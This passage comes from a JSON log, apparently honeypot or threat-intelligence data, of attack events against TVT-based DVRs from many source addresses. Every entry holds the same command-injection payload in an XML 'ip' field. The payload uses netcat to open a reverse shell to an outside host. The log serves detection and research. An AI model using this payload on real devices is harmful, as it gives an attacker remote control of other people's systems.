  934.       "first_seen": "2019-12-23T15:00:26Z",
  935.       "last_seen": "2019-12-23T15:00:26Z"
  936.     },
  937.     {
  938.       "source_ip_address": "201.103.15.228",
  939.       "country": "MX",
  940.       "user_agent": "Help",
  941.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  942.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  943.       "target_port": 8000,
  944.       "protocol": "tcp",
  945.       "tags": [
  946.         {
  947.           "cve": "",
  948.           "category": "IoT",
  949.           "description": "TVT (Generic OEM) DVR RCE"
  950.         }
  951.       ],
  952.       "event_count": 38,
  953.       "first_seen": "2019-12-23T14:55:27Z",
  954.       "last_seen": "2019-12-23T14:55:27Z"
  955.     },
  956.     {
  957.       "source_ip_address": "185.61.137.172",
  958.       "country": "NL",
  959.       "user_agent": "ApiTool",
  960.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  961.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  962.       "target_port": 8080,
  963.       "protocol": "tcp",
  964.       "tags": [
  965.         {
  966.           "cve": "",
  967.           "category": "IoT",
  968.           "description": "TVT (Generic OEM) DVR RCE"
  969.         }
  970.       ],
  971.       "event_count": 88,
  972.       "first_seen": "2019-12-23T14:28:07Z",
  973.       "last_seen": "2019-12-23T14:49:39Z"
  974.     },
  975.     {
  976.       "source_ip_address": "116.48.140.149",
  977.       "country": "HK",
  978.       "user_agent": "Help",
  979.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  980.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  981.       "target_port": 80,
  982.       "protocol": "tcp",
  983.       "tags": [
  984.         {
  985.           "cve": "",
  986.           "category": "IoT",
  987.           "description": "TVT (Generic OEM) DVR RCE"
  988.         }
  989.       ],
  990.       "event_count": 1,
  991.       "first_seen": "2019-12-23T14:37:35Z",
  992.       "last_seen": "2019-12-23T14:37:35Z"
  993.     },
  994.     {
  995.       "source_ip_address": "180.177.76.85",
  996.       "country": "TW",
  997.       "user_agent": "Help",
  998.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  999.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1000.       "target_port": 8080,
  1001.       "protocol": "tcp",
  1002.       "tags": [
  1003.         {
  1004.           "cve": "",
  1005.           "category": "IoT",
  1006.           "description": "TVT (Generic OEM) DVR RCE"
  1007.         }
  1008.       ],
  1009.       "event_count": 1,
  1010.       "first_seen": "2019-12-23T14:27:25Z",
  1011.       "last_seen": "2019-12-23T14:27:25Z"
  1012.     },
  1013.     {
  1014.       "source_ip_address": "60.51.60.52",
  1015.       "country": "MY",
  1016.       "user_agent": "Help",
  1017.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1018.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1019.       "target_port": 88,
  1020.       "protocol": "tcp",
  1021.       "tags": [
  1022.         {
  1023.           "cve": "",
  1024.           "category": "IoT",
  1025.           "description": "TVT (Generic OEM) DVR RCE"
  1026.         }
  1027.       ],
  1028.       "event_count": 142,
  1029.       "first_seen": "2019-12-22T06:51:02Z",
  1030.       "last_seen": "2019-12-23T14:25:23Z"
  1031.     },
  1032.     {
  1033.       "source_ip_address": "42.189.61.175",
  1034.       "country": "MY",
  1035.       "user_agent": "Help",
  1036.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1037.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1038.       "target_port": 88,
  1039.       "protocol": "tcp",
  1040.       "tags": [
  1041.         {
  1042.           "cve": "",
  1043.           "category": "IoT",
  1044.           "description": "TVT (Generic OEM) DVR RCE"
  1045.         }
  1046.       ],
  1047.       "event_count": 28,
  1048.       "first_seen": "2019-12-23T14:18:31Z",
  1049.       "last_seen": "2019-12-23T14:18:31Z"
  1050.     },
  1051.     {
  1052.       "source_ip_address": "89.137.126.112",
  1053.       "country": "RO",
  1054.       "user_agent": "Help",
  1055.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1056.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1057.       "target_port": 8000,
  1058.       "protocol": "tcp",
  1059.       "tags": [
  1060.         {
  1061.           "cve": "",
  1062.           "category": "IoT",
  1063.           "description": "TVT (Generic OEM) DVR RCE"
  1064.         }
  1065.       ],
  1066.       "event_count": 29,
  1067.       "first_seen": "2019-12-23T13:57:01Z",
  1068.       "last_seen": "2019-12-23T13:57:01Z"
  1069.     },
  1070.     {
  1071.       "source_ip_address": "186.193.19.48",
  1072.       "country": "BR",
  1073.       "user_agent": "Help",
  1074.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1075.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1076.       "target_port": 80,
  1077.       "protocol": "tcp",
  1078.       "tags": [
  1079.         {
  1080.           "cve": "",
  1081.           "category": "IoT",
  1082.           "description": "TVT (Generic OEM) DVR RCE"
  1083.         }
  1084.       ],
  1085.       "event_count": 30,
  1086.       "first_seen": "2019-12-23T13:43:38Z",
  1087.       "last_seen": "2019-12-23T13:43:38Z"
  1088.     },
  1089.     {
  1090.       "source_ip_address": "82.78.233.250",
  1091.       "country": "RO",
  1092.       "user_agent": "Help",
  1093.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1094.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1095.       "target_port": 8080,
  1096.       "protocol": "tcp",
  1097.       "tags": [
  1098.         {
  1099.           "cve": "",
  1100.           "category": "IoT",
  1101.           "description": "TVT (Generic OEM) DVR RCE"
  1102.         }
  1103.       ],
  1104.       "event_count": 6,
  1105.       "first_seen": "2019-12-23T13:37:21Z",
  1106.       "last_seen": "2019-12-23T13:37:21Z"
  1107.     },
  1108.     {
  1109.       "source_ip_address": "187.163.188.243",
  1110.       "country": "MX",
  1111.       "user_agent": "Help",
  1112.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1113.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1114.       "target_port": 8080,
  1115.       "protocol": "tcp",
  1116.       "tags": [
  1117.         {
  1118.           "cve": "",
  1119.           "category": "IoT",
  1120.           "description": "TVT (Generic OEM) DVR RCE"
  1121.         }
  1122.       ],
  1123.       "event_count": 1,
  1124.       "first_seen": "2019-12-23T13:32:49Z",
  1125.       "last_seen": "2019-12-23T13:32:49Z"
  1126.     },
  1127.     {
  1128.       "source_ip_address": "189.213.220.124",
  1129.       "country": "MX",
  1130.       "user_agent": "Help",
  1131.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1132.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1133.       "target_port": 8000,
  1134.       "protocol": "tcp",
  1135.       "tags": [
  1136.         {
  1137.           "cve": "",
  1138.           "category": "IoT",
  1139.           "description": "TVT (Generic OEM) DVR RCE"
  1140.         }
  1141.       ],
  1142.       "event_count": 8,
  1143.       "first_seen": "2019-12-22T09:22:42Z",
  1144.       "last_seen": "2019-12-23T12:38:52Z"
  1145.     },
  1146.     {
  1147.       "source_ip_address": "189.129.19.37",
  1148.       "country": "MX",
  1149.       "user_agent": "Help",
  1150.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1151.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1152.       "target_port": 81,
  1153.       "protocol": "tcp",
  1154.       "tags": [
  1155.         {
  1156.           "cve": "",
  1157.           "category": "IoT",
  1158.           "description": "TVT (Generic OEM) DVR RCE"
  1159.         }
  1160.       ],
  1161.       "event_count": 6,
  1162.       "first_seen": "2019-12-23T12:36:58Z",
  1163.       "last_seen": "2019-12-23T12:36:58Z"
  1164.     },
  1165.     {
  1166.       "source_ip_address": "220.134.249.207",
  1167.       "country": "TW",
  1168.       "user_agent": "Help",
  1169.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1170.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1171.       "target_port": 88,
  1172.       "protocol": "tcp",
  1173.       "tags": [
  1174.         {
  1175.           "cve": "",
  1176.           "category": "IoT",
  1177.           "description": "TVT (Generic OEM) DVR RCE"
  1178.         }
  1179.       ],
  1180.       "event_count": 8,
  1181.       "first_seen": "2019-12-23T12:27:09Z",
  1182.       "last_seen": "2019-12-23T12:27:09Z"
  1183.     },
  1184.     {
  1185.       "source_ip_address": "189.139.92.76",
  1186.       "country": "MX",
  1187.       "user_agent": "Help",
  1188.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1189.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1190.       "target_port": 88,
  1191.       "protocol": "tcp",
  1192.       "tags": [
  1193.         {
  1194.           "cve": "",
  1195.           "category": "IoT",
  1196.           "description": "TVT (Generic OEM) DVR RCE"
  1197.         }
  1198.       ],
  1199.       "event_count": 1,
  1200.       "first_seen": "2019-12-23T12:08:01Z",
  1201.       "last_seen": "2019-12-23T12:08:01Z"
  1202.     },
  1203.     {
  1204.       "source_ip_address": "47.148.171.10",
  1205.       "country": "US",
  1206.       "user_agent": "Help",
  1207.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1208.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1209.       "target_port": 8080,
  1210.       "protocol": "tcp",
  1211.       "tags": [
  1212.         {
  1213.           "cve": "",
  1214.           "category": "IoT",
  1215.           "description": "TVT (Generic OEM) DVR RCE"
  1216.         }
  1217.       ],
  1218.       "event_count": 2,
  1219.       "first_seen": "2019-12-23T11:53:48Z",
  1220.       "last_seen": "2019-12-23T11:53:48Z"
  1221.     },
  1222.     {
  1223.       "source_ip_address": "106.1.111.165",
  1224.       "country": "TW",
  1225.       "user_agent": "Help",
  1226.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1227.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1228.       "target_port": 80,
  1229.       "protocol": "tcp",
  1230.       "tags": [
  1231.         {
  1232.           "cve": "",
  1233.           "category": "IoT",
  1234.           "description": "TVT (Generic OEM) DVR RCE"
  1235.         }
  1236.       ],
  1237.       "event_count": 3,
  1238.       "first_seen": "2019-12-23T11:46:03Z",
  1239.       "last_seen": "2019-12-23T11:46:03Z"
  1240.     },
  1241.     {
  1242.       "source_ip_address": "104.33.81.6",
  1243.       "country": "US",
  1244.       "user_agent": "Help",
  1245.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1246.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1247.       "target_port": 80,
  1248.       "protocol": "tcp",
  1249.       "tags": [
  1250.         {
  1251.           "cve": "",
  1252.           "category": "IoT",
  1253.           "description": "TVT (Generic OEM) DVR RCE"
  1254.         }
  1255.       ],
  1256.       "event_count": 3,
  1257.       "first_seen": "2019-12-23T11:34:27Z",
  1258.       "last_seen": "2019-12-23T11:34:27Z"
  1259.     },
  1260.     {
  1261.       "source_ip_address": "221.157.48.175",
  1262.       "country": "KR",
  1263.       "user_agent": "Help",
  1264.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1265.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1266.       "target_port": 81,
  1267.       "protocol": "tcp",
  1268.       "tags": [
  1269.         {
  1270.           "cve": "",
  1271.           "category": "IoT",
  1272.           "description": "TVT (Generic OEM) DVR RCE"
  1273.         }
  1274.       ],
  1275.       "event_count": 3,
  1276.       "first_seen": "2019-12-23T11:09:11Z",
  1277.       "last_seen": "2019-12-23T11:09:11Z"
  1278.     },
  1279.     {
  1280.       "source_ip_address": "181.220.185.164",
  1281.       "country": "BR",
  1282.       "user_agent": "Help",
  1283.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1284.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1285.       "target_port": 8080,
  1286.       "protocol": "tcp",
  1287.       "tags": [
  1288.         {
  1289.           "cve": "",
  1290.           "category": "IoT",
  1291.           "description": "TVT (Generic OEM) DVR RCE"
  1292.         }
  1293.       ],
  1294.       "event_count": 28,
  1295.       "first_seen": "2019-12-23T10:52:44Z",
  1296.       "last_seen": "2019-12-23T10:52:44Z"
  1297.     },
  1298.     {
  1299.       "source_ip_address": "95.123.27.193",
  1300.       "country": "ES",
  1301.       "user_agent": "Help",
  1302.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1303.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1304.       "target_port": 80,
  1305.       "protocol": "tcp",
  1306.       "tags": [
  1307.         {
  1308.           "cve": "",
  1309.           "category": "IoT",
  1310.           "description": "TVT (Generic OEM) DVR RCE"
  1311.         }
  1312.       ],
  1313.       "event_count": 38,
  1314.       "first_seen": "2019-12-23T10:47:26Z",
  1315.       "last_seen": "2019-12-23T10:47:26Z"
  1316.     },
  1317.     {
  1318.       "source_ip_address": "70.24.162.14",
  1319.       "country": "CA",
  1320.       "user_agent": "Help",
  1321.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1322.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1323.       "target_port": 81,
  1324.       "protocol": "tcp",
  1325.       "tags": [
  1326.         {
  1327.           "cve": "",
  1328.           "category": "IoT",
  1329.           "description": "TVT (Generic OEM) DVR RCE"
  1330.         }
  1331.       ],
  1332.       "event_count": 1,
  1333.       "first_seen": "2019-12-23T09:11:38Z",
  1334.       "last_seen": "2019-12-23T09:11:38Z"
  1335.     },
  1336.     {
  1337.       "source_ip_address": "68.129.235.16",
  1338.       "country": "US",
  1339.       "user_agent": "Help",
  1340.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1341.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1342.       "target_port": 8000,
  1343.       "protocol": "tcp",
  1344.       "tags": [
  1345.         {
  1346.           "cve": "",
  1347.           "category": "IoT",
  1348.           "description": "TVT (Generic OEM) DVR RCE"
  1349.         }
  1350.       ],
  1351.       "event_count": 6,
  1352.       "first_seen": "2019-12-23T09:08:18Z",
  1353.       "last_seen": "2019-12-23T09:08:18Z"
  1354.     },
  1355.     {
  1356.       "source_ip_address": "93.55.176.37",
  1357.       "country": "IT",
  1358.       "user_agent": "Help",
  1359.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1360.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1361.       "target_port": 8080,
  1362.       "protocol": "tcp",
  1363.       "tags": [
  1364.         {
  1365.           "cve": "",
  1366.           "category": "IoT",
  1367.           "description": "TVT (Generic OEM) DVR RCE"
  1368.         }
  1369.       ],
  1370.       "event_count": 6,
  1371.       "first_seen": "2019-12-23T08:53:52Z",
  1372.       "last_seen": "2019-12-23T08:53:52Z"
  1373.     },
  1374.     {
  1375.       "source_ip_address": "45.225.140.239",
  1376.       "country": "BR",
  1377.       "user_agent": "Help",
  1378.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1379.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1380.       "target_port": 88,
  1381.       "protocol": "tcp",
  1382.       "tags": [
  1383.         {
  1384.           "cve": "",
  1385.           "category": "IoT",
  1386.           "description": "TVT (Generic OEM) DVR RCE"
  1387.         }
  1388.       ],
  1389.       "event_count": 6,
  1390.       "first_seen": "2019-12-23T08:29:10Z",
  1391.       "last_seen": "2019-12-23T08:29:10Z"
  1392.     },
  1393.     {
